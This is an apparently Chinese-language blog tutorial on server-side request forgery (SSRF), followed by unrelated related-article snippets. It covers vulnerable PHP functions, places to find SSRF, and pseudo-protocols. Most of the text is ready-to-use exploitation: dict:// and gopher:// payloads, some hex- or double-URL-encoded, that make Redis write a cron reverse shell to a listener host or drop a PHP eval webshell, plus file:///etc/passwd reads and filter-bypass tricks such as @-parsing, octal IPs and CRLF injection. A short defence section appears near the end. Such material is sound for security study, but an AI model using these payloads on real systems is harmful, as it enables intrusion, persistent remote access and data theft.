当前位置: 首页 > news >正文

SSRF服务端请求伪造

SSRF:服务端请求伪造

危害:任意文件读取、任意服务探测(通过端口来探测)

例:探测3306端口,看mysql服务是否开启,再通过文件读取,获得mysql配置文件

例:当我们点击链接,服务器就会向后面的url链接发送一个请求,并且把获取到的内容打印到前端页面上,这里我们就可以测试一下是否存在ssrf漏洞,将后面的链接地址改为其他的链接地址试试,可以看到,当我们换成百度的url时,直接跳转了,说明存在ssrf漏洞可以利用。

那么存在ssrf漏洞,我们就可以探测内网中有哪些主机存活,哪些端口是打开的。

产生SSRF漏洞的函数

curl_exec():发起网络请求,可以设定请求头中的信息

file_get_contents():仅仅发送网络请求

SSRF找漏洞位置

1、通过url地址分享网页内容信息(比如:我们在b站分享视频到QQ空间,我看到这样的url),那我们就可以修改后面的url地址,进行探测QQ空间内网里面存活的主机有哪些(前提是后台对url没有过滤,存在ssrf漏洞,允许你访问内网)

https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=https%3A%2F%2Fwww.bilibili.com……

2、在线翻译(比如:在有道翻译上翻译其他网页内容)

http://webtrans.yodao.com/webTransPc/index.html#/?url=https%3A%2F%2Fnginx.org%2F&from=auto&to=auto&type=1

3、图片文章收藏等功能(比如在博客园里收藏时会跳出链接)

4、利用谷歌语法找找url关键字

inurl:.php?url=

SSRF漏洞利用

(内网探测、内网信息收集、存活主机和开放端口)

1、可以对外网服务器所在的内网进行端口扫描,获取一些服务的banner信息(头部信息,比如mysql版本)

2、有时候还可以攻击运行在内网或本地的应用程序:比如通过ssrf给内网的redis写定时任务,实现反弹shell

3、对内网web应用进行指纹识别(网站框架和编程语言)

4、攻击内外网的web应用,主要是使用get参数就可以实现攻击(sql注入)

5、利用file协议读取本地文件

6、各种伪协议进行探测:http、file、dict、gopher等

SSRF中URL的伪协议

当我们发现ssrf漏洞后,首先要做的事情就是测试所有可用的伪协议

http:// 主要用于探测主机存活和端口的开放情况
file:/// 从文件系统中获取文件内容 file:///etc/password
dict:// 字典服务协议,访问字典资源 dict:///ip:6379/info
gopher:// 分布式文档传递服务,可以使用gopherus生产payload
​
sftp://SSH文件传输协议或者安全文件传输协议
ldap:// 轻量级目录访问协议

file协议

主要用于读取服务器本地文件,访问本地的静态资源

dict协议

一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息,当然dict协议也可以用来执行一些服务的命令,如redis

主要用途:

1、内网主机探测

2、开放端口探测

3、端口服务指纹探测

4、执行命令

一、dict协议探测端口和服务指纹

dict://192.168.81.151:22
dict://192.168.81.151:3306
dict://192.168.81.151:6379/info

二、dict协议攻击redis,写入定时任务,进行反弹shell

centos系统定时任务路径:/var/spool/cron

debian系统定时任务路径:/var/spool/cron/crontabs

dict://192.168.81.151:6379/config:set:dir:/var/spool/cron
dict://192.168.81.151:6379/config:set:dbfilename:root
dict://192.168.81.151:6379/set:bob:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.81.150/1234 0>&1\n\n"
#注意:若payload存在转义或者被过滤或者url编码的情况出现,可以利用16进制写入内容
dict://192.168.81.151:6379/set:bob:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.81.150/1234\x200\x3e\x261\n\n"
dict://192.168.81.151:6379/save
​
反弹接收192.168.81.150:nc -lvvp 1234

三、dict协议攻击redis,写入webshell

dict://192.168.81.151:6379/config:set:dbfilename:test.php
dict://192.168.81.151:6379/config:set:dir:/usr/share/nginx/html
dict://192.168.81.151:6379/set:bob:"\n\n<?php @eval($_POST['123']);?>\n\n"
#注意若存在过滤,则利用16进制内容写入
dict://192.168.81.151:6379/set:bob:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x31\x32\x33\x27\x5d\x29\x3b\x3f\x3e\n\n"

gopher协议

分布式文档传递服务,利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

那么它在ssrf中如何使用呢?需要发送多行数据时,就要用到gopher协议,可以用来攻击那些需要交互的应用。

gopher协议支持多行数据一起发送,dict不支持换行符,没有办法进行换行,相当与一次只能执行一条命令,所以不能用来攻击那些需要交互的应用(比如需要认证的redis,每次都要先发送登录密码,紧接着就是要执行的指令)。(比如一次发送反弹shell的四条指令)

gopher协议支持发出get、post请求,可以先截获gey请求包和post请求包,再构成符合gopher协议的请求。(可以提交get、post;必须用%0d%0a换行)

gopher默认端口号为70,他可以以单个url的形式进行post请求,同时支持换行

gopher协议要求:

gopher://192.168.81.151:6379/*数据包
1、gopher协议会吃掉第一个字符*,所以要先放一个没有的字符
2、数据包要进行url编码
3、gopher协议数据流中,url编码之后使用%0d%0a替换字符串中的回车换行
4、数据流末尾使用%0d%0a代表消息结束

redis认可的数据包格式

# *4表示4个参数config、set、dir、/var/spool/cron
# $6表示每个参数的字节长度config长度为6
*4
$6
config
$3
set
$3
dir
$15
/var/spool/cron

这是啥意思呢?就是我们利用gopher协议写入反弹shell的四条指令,每一条的数据包格式都必须是上面redis认可的格式,并且还需要url编码发送,这就很麻烦,但我们可以借助一个工具

下载Gopherus:https://github.com/tarunkant/Gopherus

redis-cli -h 192.168.81.151 set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.81.150/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfielname root
save

gopher://192.168.81.151:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.81.150/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

二次url编码:由于服务端代码是通过curl_exec()函数触发的ssrf,所以我们的payload无用字符后面的内容需要进行二次编码

gopher://192.168.81.151:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252469%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520/dev/tcp/192.168.81.150/1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A/var/spool/cron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

成功:

SSRF漏洞发起应用程序攻击

这里我使用本地127.0.0.1的pikachu作为攻击,探测内网的192.168.81.151主机上的redis

最开始使用file协议没有探测出来,但是换成dict协议就成功探测出6379端口开放

执行info指令,测试是否存在未授权漏洞,和我们在redis客户端执行的命令返回结果一样

SSRF防御

1、过滤返回信息。验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件,那么在把返回结果展示给用户之前先验证返回的信息是否符合标准

2、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态

3、限制请求的端口为http常用端口,比如80、443、8080

4、防火墙策略,内网ip设置黑名单,避免应用被用来获取内网数据,攻击内网

5、禁用不需要的洗衣,仅仅运行http和https请求,可以防止类似于file:///,gopher://,ftp://等引起的问题

6、url网址写死。固定几个网址,其他网址一律不允许访问

SSRF绕过方式

部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问,因此想要达到SSRF的攻击,需要对请求参数地址做相关的绕过处理,常见的绕过方式如下:

一、常见的绕过方式

1、限制为http://www.xxx.com域名时(利用@)

例:
http://www.aaa.com@www.bbb.com@www.ccc.com
在对@解析域名中,不同的处理函数存在处理差异,在php中的parse_url中会识别www.ccc.com,而libcurl则识别www.bbb.com
这里前面的www.aaa.com只是用来绕过限制

2、采用短网址绕过,也叫做url短链接

现在有很多的网站进行短链接生成(绕过对内网网址的限制)

3、采用进制转换

例:127.0.0.1 
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

4、利用特殊域名

原理是DNS解析,xip.io可以指向任意域名,即
127.0.0.1.xip.io可以解析为127.0.0.1
(xip.io现在利用不了了)

5、利用[::]

这种写法是ipv6的地址写法,只要对方支持ipv6的地址进行访问就行,需要配置才行,比如nginx就可以配置ipv6来访问。
例:http://192.168.81.151
http://[::192.168.81.151]

6、利用句号

127.0.0.1
127。0。0。1(linux支持,windows不支持)

7、CRLF编码绕过

%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行http头部注入
​
例:example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a

8、利用封闭的字母数字

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
注意:也是linux支持,windows不支持

相关文章:

SSRF服务端请求伪造

SSRF&#xff1a;服务端请求伪造 危害&#xff1a;任意文件读取、任意服务探测&#xff08;通过端口来探测&#xff09; 例&#xff1a;探测3306端口&#xff0c;看mysql服务是否开启&#xff0c;再通过文件读取&#xff0c;获得mysql配置文件 例&#xff1a;当我们点击链接…...

LVGL的三层屏幕结构

文章目录 &#x1f31f; LVGL 的三层屏幕架构1. **Top Layer&#xff08;顶层&#xff09;**2. **System Layer&#xff08;系统层&#xff09;**3. **Active Screen&#xff08;当前屏幕层&#xff09;** &#x1f9e0; 总结对比&#x1f50d; 整体作用✅ 普通屏幕层对象&…...

使用互斥锁保护临界

Linux线程互斥及相关概念解析 1. 临界资源&#xff08;Critical Resource&#xff09; 定义&#xff1a;被多个线程共享的资源&#xff08;如变量、文件、内存区域等&#xff09;&#xff0c;需通过互斥访问确保数据一致性。特点&#xff1a; 共享性&#xff1a;多个线程可能…...

5.8线性动态规划2

P1004 [NOIP 2000 提高组] 方格取数 做法1&#xff1a;DFS剪枝 #include<bits/stdc.h> using namespace std; int n, a[10][10], maxs, minx 11, miny 11, maxx, maxy; void dfs(int x, int y, int s, int type){if(type 1 && x minx && y miny){…...

linux系统Ubuntn界面更改为中文显示,配置流程

Linux 系统是一种开源的、多用户的、多任务的操作系统&#xff0c;具有高度的稳定性、安全性和灵活性&#xff0c;被广泛应用于服务器、嵌入式系统、科研、教育以及个人电脑等领域。以下是关于 Linux 系统的一些基本信息&#xff1a; 发展历程&#xff1a;Linux 的发展始于 19…...

Looper死循环阻塞为什么没有ANR

Looper 死循环阻塞没有 ANR 的原因在于 ANR (Application Not Responding) 的检测机制依赖于特定线程的事件处理超时。以下是详细解释&#xff1a; 1. ANR 的触发机制&#xff1a; 主线程 (UI 线程) 阻塞&#xff1a; ANR 最常见的情况是主线程阻塞。Android 系统会监控主线程…...

数字孪生陆上风电场可视化管理系统

图扑软件搭建陆上风电场数字孪生平台&#xff0c;通过高精度建模与实时数据采集&#xff0c;1:1 还原风机设备、输电网络及场区环境。动态展示风机运行参数、发电量、设备健康状态等信息&#xff0c;实现风电场运维管理的智能化、可视化与高效化。...

图像处理篇---MJPEG视频流处理

文章目录 前言一、MJPEG流基础概念MJPEG流特点格式简单无压缩时序HTTP协议传输边界标记 常见应用场景IP摄像头视频流嵌入式设备&#xff08;如ESP32&#xff09;视频输出简单视频监控系统 二、基础处理方法方法1&#xff1a;使用OpenCV直接读取优点缺点 方法2&#xff1a;手动解…...

ensp的华为小实验

1.先进行子网划分 2.进行接口的IP地址配置和ospf的简易配置&#xff0c;先做到全网小通 3.进行ospf优化 对区域所有区域域间路由器进行一个汇总 对区域1进行优化 对区域2.3进行nssa设置 4.对ISP的路由进行协议配置 最后ping通5.5.5.5...

webpack和vite区别

webpack将文件视为模块打包 &#xff0c;从入口文件递归解析依赖&#xff0c;生成依赖图&#xff0c;使用loader处理非JS模块&#xff0c;最终输出到dist目录 因为要解析所有依赖&#xff0c;所以他启动慢 vite利用浏览器对于es模块的原生支持&#xff0c;利用ESM能力&#x…...

从父类到子类:C++ 继承的奇妙旅程(2)

前言&#xff1a; 各位代码航海家&#xff0c;欢迎回到C继承宇宙&#xff01;上回我们解锁了继承的「基础装备包」&#xff0c;成功驯服了public、protected和花式成员隐藏术。但—— ⚠️前方高能预警&#xff1a; 继承世界的暗流涌动远不止于此&#xff01;今天我们将勇闯三大…...

ScaleTransition 是 Flutter 中的一个动画组件,用于实现缩放动画效果。

ScaleTransition 是 Flutter 中的一个动画组件&#xff0c;用于实现缩放动画效果。它允许你对子组件进行动态的缩放变换&#xff0c;从而实现平滑的动画效果。ScaleTransition 通常与 AnimationController 和 Tween 一起使用&#xff0c;以控制动画的开始、结束和过渡效果。 基…...

部署RocketMQ

部署环境&#xff1a;jdk8以上&#xff0c;Linux系统 下载和安装指令&#xff1a; wget https://archive.apache.org/dist/rocketmq/4.9.4/rocketmq-all-4.9.4-bin-release.zip 显示下载成功&#xff1a; --2025-05-10 11:34:46-- https://archive.apache.org/dist/rocketm…...

从爬虫到网络---<基石9> 在VPS上没搞好Docker项目,把他卸载干净

1.停止并删除所有正在运行的容器 docker ps -a # 查看所有容器 docker stop $(docker ps -aq) # 停止所有容器 docker rm $(docker ps -aq) # 删除所有容器如果提示没有找到容器&#xff0c;可以忽略这些提示。 2.删除所有镜像 docker images # 查看所有镜像 dock…...

每日c/c++题 备战蓝桥杯(P2241 统计方形(数据加强版))

洛谷P2241 统计方形&#xff08;数据加强版&#xff09;题解 题目描述 给定一个 n m n \times m nm 的方格棋盘&#xff0c;要求统计其中包含的正方形数量和长方形数量&#xff08;不包含正方形&#xff09;。输入为两个正整数 n n n 和 m m m&#xff0c;输出两个整数分…...

LLaVA:开源多模态大语言模型深度解析

一、基本介绍 1.1 项目背景与定位 LLaVA(Large Language and Vision Assistant)是由Haotian Liu等人开发的开源多模态大语言模型,旨在实现GPT-4级别的视觉-语言交互能力。该项目通过视觉指令微调技术,将预训练的视觉编码器与语言模型深度融合,在多个多模态基准测试中达到…...

基于Spring Boot + Vue的母婴商城系统( 前后端分离)

一、项目背景介绍 随着母婴行业在互联网平台的快速发展&#xff0c;越来越多的家庭倾向于在线选购母婴产品。为了提高商品管理效率和用户购物体验&#xff0c;本项目开发了一个基于 Spring Boot Vue 技术栈的母婴商城系统&#xff0c;实现了商品分类、商品浏览、资讯展示、评…...

HNUST湖南科技大学-软件测试期中复习考点(保命版)

使用说明&#xff1a;本复习考点仅用于及格保命。软件测试和其他专业课不太一样&#xff0c;记忆的太多了&#xff0c;只能说考试的时候&#xff0c;想到啥就写啥&#xff0c;多写一点&#xff01;多写一点&#xff01;多写一点&#xff01;&#xff08;重要事情说三遍&#xf…...

【AI智能推荐系统】第七篇:跨领域推荐系统的技术突破与应用场景

第七篇:跨领域推荐系统的技术突破与应用场景 提示语:🔥 “打破数据孤岛,实现1+1>2的推荐效果!深度解析美团、亚马逊如何用跨领域推荐技术实现业务协同,知识迁移核心技术全公开!” 目录 跨领域推荐的商业价值跨领域推荐技术体系 2.1 基于共享表征的学习2.2 迁移学习…...

【现代深度学习技术】注意力机制04:Bahdanau注意力

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上&#xff0c;结合当代大数据和大算力的发展而发展出来的。深度学习最重…...

使用FastAPI和React以及MongoDB构建全栈Web应用01 概述

Are you ready to craft digital experiences that captivate and convert? 您准备好打造令人着迷并能带来转变的数字体验了吗&#xff1f; In a world driven by innovation, the demand for robust and scalable web applications has never been higher. Whether you’re…...

Flutter - UIKit开发相关指南 - 概览

环境 Flutter 3.29 macOS Sequoia 15.4.1 Xcode 16.3 概览 UIView与Widgets的比较 在UIKit使用UIView类的对象进行页面开发,布局也是UIView类的对象,在Flutter中使用的是Widget,在概念上Widget可以理解成UIView。 差异&#xff1a; 有效期: Widgets是不可变的,它的生存期只…...

扩容 QCOW2 磁盘镜像文件

&#x1f308; 个人主页&#xff1a;Zfox_ 目录 ✅ 一、扩展 QCOW2 文件大小✅ 二、启动虚拟机后扩展分区和文件系统方式一&#xff1a;如果使用的是标准分区&#xff08;如 /dev/vda1&#xff09;方式二&#xff1a;使用 gparted&#xff08;图形工具&#xff09; ✅ 总结 &am…...

【ts】for in对象时,ts如何正确获取对应的属性值

第一种&#xff1a;for…in keyof&#xff1a;适合需要遍历对象属性键并动态访问值的场景。 keyof typeof obj是ts的类型操作符&#xff0c;用于获取对象obj的所有属性键的联合类型&#xff08;“name” | “age” | “city”&#xff09;通过obj[key keyof typeof obj]&…...

软考 系统架构设计师系列知识点之杂项集萃(55)

接前一篇文章&#xff1a;软考 系统架构设计师系列知识点之杂项集萃&#xff08;54&#xff09; 第89题 某软件公司欲开发一个Windows平台上的公告板系统。在明确用户需求后&#xff0c;该公司的架构师决定采用Command模式实现该系统的界面显示部分&#xff0c;并设计UML类图如…...

绑定 SSH key(macos)

在 macOS 上绑定 Gitee 或 GitHub 的 SSH Key&#xff0c;通常分为以下几步操作&#xff0c;包括生成 SSH key、添加到 ssh-agent&#xff0c;并配置到 Gitee 或 GitHub 平台。 1. 检查是否已有 SSH Key ls -al ~/.ssh 看看是否已有 id_rsa 或 id_ed25519 等文件。如果没有就…...

PyTorch API 6 - 编译、fft、fx、函数转换、调试、符号追踪

文章目录 torch.compiler延伸阅读 torch.fft快速傅里叶变换辅助函数 torch.func什么是可组合的函数变换&#xff1f;为什么需要可组合的函数变换&#xff1f;延伸阅读 torch.futurestorch.fx概述编写转换函数图结构快速入门图操作直接操作计算图使用 replace_pattern() 进行子图…...

Unreal 从入门到精通之VR常用操作

文章目录 前言1.如何设置VRPawn视角的位置。2.如何播放视频3.如何播放VR全景视频。4.如何打开和关闭VR模式。前言 我们使用Unreal5 开发VR 项目的时候,会遇到很多常见问题。 比如: 1.如何设置VRPawn视角的位置。 2.如何播放视频。 3.如何播放VR全景视频。 4.如何打开和关闭V…...

Dify使用总结

最近完成了一个Dify的项目简单进行总结下搭建服务按照官方文档操作就行就不写了。 进入首页之后由以下组成&#xff1a; 探索、工作室、知识库、工具 探索&#xff1a; 可以展示自己创建的所有应用&#xff0c;一个应用就是一个APP&#xff0c;可以进行测试使用 工作室包含…...

事务连接池

一、事务概述 &#xff08;一&#xff09;事务的定义 事务是数据库提供的一种特性&#xff0c;用于确保数据操作的完整性和一致性。事务将多个数据操作组合成一个逻辑单元&#xff0c;这些操作要么全部成功&#xff0c;要么全部失败。 &#xff08;二&#xff09;事务的特性…...

如何用AWS Lambda构建无服务器解决方案:实战经验与场景解析

一、为什么开发者都在关注Serverless&#xff1f; 一、为什么开发者都在关注Serverless&#xff1f; 在云计算高速发展的今天&#xff0c;“无服务器架构”正成为技术新宠。根据Gartner预测&#xff0c;到2025年全球将有50%企业采用Serverless技术。而作为无服务器领域的领头…...

Android Compose 框架物理动画之捕捉动画深入剖析(29)

Android Compose 框架物理动画之捕捉动画深入剖析 一、引言 在 Android 应用开发中&#xff0c;动画是提升用户体验的关键元素之一。它能够让界面更加生动、交互更加自然。Android Compose 作为新一代的声明式 UI 框架&#xff0c;为开发者提供了强大且灵活的动画能力。其中&…...

Jmeter中的Json提取器如何使用?

在JMeter中使用JSON提取器可以方便地从JSON格式的响应数据中提取特定字段的值。以下是详细步骤和示例&#xff1a; 1. 添加JSON提取器 右击目标HTTP请求 -> 选择 添加 -> 后置处理器 -> JSON提取器。 2. 配置JSON提取器参数 变量名称&#xff08;Names of created…...

STM32中断

STM32 GPIO外部中断简图 中断向量表 定义一块固定的内存&#xff0c;以4字节对齐&#xff0c;存放各个中断服务函数程序的首地址 中断向量表定义在启动文件&#xff0c;当发生中断&#xff0c;CPU会自动执行对应的中断服务函数 中断向量表以及中断函数 NVIC嵌套向量中断控制…...

navicat 如何导出数据库表 的这些信息 字段名 类型 描述

navicat 如何导出数据库表 的这些信息 字段名 类型 描述 数据库名字 springbootmt74k 表名字 address SELECT COLUMN_NAME AS 字段名,COLUMN_TYPE AS 类型,COLUMN_COMMENT AS 描述 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA springbootmt74k AND TABLE_NAME a…...

LangGraph(三)——添加记忆

目录 1. 创建MemorySaver检查指针2. 构建并编译Graph3. 与聊天机器人互动4. 问一个后续问题5. 检查State参考 1. 创建MemorySaver检查指针 创建MemorySaver检查指针&#xff1a; from langgraph.checkpoint.memory import MemorySavermemory MemorySaver()这是位于内存中的检…...

数仓-可累计,半累加,不可累加指标,是什么,举例说明及解决方案

目录 1. 可累计指标定义&#xff1a;举例&#xff1a;解决方案&#xff1a; 2. 半累加指标定义&#xff1a;举例&#xff1a;解决方案&#xff1a; 3. 不可累加指标定义&#xff1a;举例&#xff1a;解决方案&#xff1a; 4. 总结对比5. 实际场景中的注意事项 这是数据仓库设计…...

Java ClassLoader双亲委派机制

Java ClassLoader双亲委派机制 1 什么是双亲委派模型 “类加载体系”及ClassLoader双亲委派机制。java程序中的 .java文件编译完会生成 .class文件&#xff0c;而 .class文件就是通过被称为类加载器的ClassLoader加载的&#xff0c;而ClassLoder在加载过程中会使用“双亲委派…...

upload-labs靶场通关详解:第四关

一、分析源代码 可以看出这一关仍然是黑名单验证&#xff0c;但是它禁止了更多的后缀。像php3&#xff0c;php4这类后缀也被加入了黑名单&#xff0c;第三关的方法在这里显然就失效了。那么我们想一想&#xff0c;既然配置文件中存在将php3当作php来执行的功能&#xff0c;那么…...

Webug4.0通关笔记25- 第30关SSRF

目录 一、SSRF简介 1.SSRF原理 2.渗透方法 二、第30关SSRF渗透实战 1.打开靶场 2.渗透实战 &#xff08;1&#xff09;Windows靶场修复 &#xff08;2&#xff09;Docker靶场修复 &#xff08;3&#xff09;获取敏感文件信息 &#xff08;4&#xff09;内网端口与服务…...

【 Redis | 实战篇 缓存 】

目录 前言&#xff1a; 1.认识缓存 2.添加Redis缓存 2.1.根据id查询商铺缓存 2.2.优化根据id查询商铺缓存 3.缓存更新策略 3.1.三种策略 3.2.策略选择 3.3.主动更新的方案 3.4. Cache Aside的模式选择 3.5.最佳实践方案 4.缓存三大问题 4.1.缓存穿透 4.1.1.介绍 …...

数字果园管理系统的设计与实现(Tensorflow的害虫识别结合高德API的害虫定位与Websocket的在线聊天室)

文章目录 技术栈主要功能害虫识别与定位害虫识别的实现训练与测试评估代码模型转化为TFLite预测脚本PredictController预测控制器害虫识别过程展示 害虫定位实现害虫定位代码害虫定位过程展示 专家咨询功能在线咨询聊天室主要前端代码如下主要后端代码如下 技术栈 Spring Boot…...

信息检索(包含源码)

实验目的 掌握逻辑回归模型在二分类问题中的应用方法熟悉机器学习模型评估指标PR曲线&#xff08;精确率-召回率曲线&#xff09;和ROC曲线&#xff08;受试者工作特征曲线&#xff09;的绘制与分析学习使用Python的scikit-learn库进行数据预处理、模型训练与评估理解特征选择…...

【金仓数据库征文】金仓数据库KingbaseES: 技术优势与实践指南(包含安装)

目录 前言 引言 一 : 关于KingbaseES,他有那些优势呢? 核心特性 典型应用场景 政务信息化 金融核心系统&#xff1a; 能源通信行业&#xff1a; 企业级信息系统&#xff1a; 二: 下载安装KingbaseES 三:目录一览表: 四:常用SQL语句 创建表&#xff1a; 修改表结构…...

Java数据结构——二叉树

二叉树 树的概念二叉树满二叉树和完全二叉树二叉树的性质二叉树的遍历 题目练习前序遍历中序遍历后序遍历 前言 已经知道了数据结构中的线性结构&#xff0c;那有没有非线性结构呢&#xff1f; 当然有就像我们文件夹&#xff0c;一个文件夹中有有另一个文件夹&#xff0c;这就是…...

用go从零构建写一个RPC(仿gRPC,tRPC)--- 版本2

在版本1中&#xff0c;虽然系统能够满足基本需求&#xff0c;但随着连接数的增加和处理请求的复杂度上升&#xff0c;性能瓶颈逐渐显现。为了进一步提升系统的稳定性、并发处理能力以及资源的高效利用&#xff0c;版本2引入了三个重要功能&#xff1a;客户端连接池、服务器长连…...

drf 使用jwt

安装jwt pip install pyJwt 添加登录url path("jwt/login",views.JwtLoginView.as_view(),namejwt-login),path("jwt/order",views.JwtOrderView.as_view(),namejwt-order), 创建视图 from django.contrib.auth import authenticateimport jwt from jw…...

202536 | KafKa生产者分区写入策略+消费者分区分配策略

KafKa生产者分区写入策略 1. 轮询分区策略&#xff08;Round-Robin Partitioning&#xff09; 轮询分区策略 是 Kafka 默认的分配策略&#xff0c;当消息没有指定 key 时&#xff0c;Kafka 会采用轮询的方式将消息均匀地分配到各个分区。 工作原理&#xff1a; 每次生产者发…...

《自动驾驶封闭测试场地建设技术要求》 GB/T 43119-2023——解读

目录 一、标准框架与核心内容 二、重点技术要求 三、实施要点与建议 四、实施时间与参考依据 原文链接&#xff1a;国家标准|GB/T 43119-2023 &#xff08;发布&#xff1a;2023-09-07&#xff1b;实施&#xff1a;2024-01-01&#xff09; 一、标准框架与核心内容 适用范围…...

【C++ Qt】容器类(GroupBox、TabWidget)内附思维导图 通俗易懂

每日激励&#xff1a;“不设限和自我肯定的心态&#xff1a;I can do all things。 — Stephen Curry” ✍️绪论​&#xff1a; 本章主要介绍了 Qt 中 QGroupBox 与 QTabWidget 控件。QGroupBox 是带标题的分组框&#xff0c;能容纳其他控件&#xff0c;有标题、对齐方式、是否…...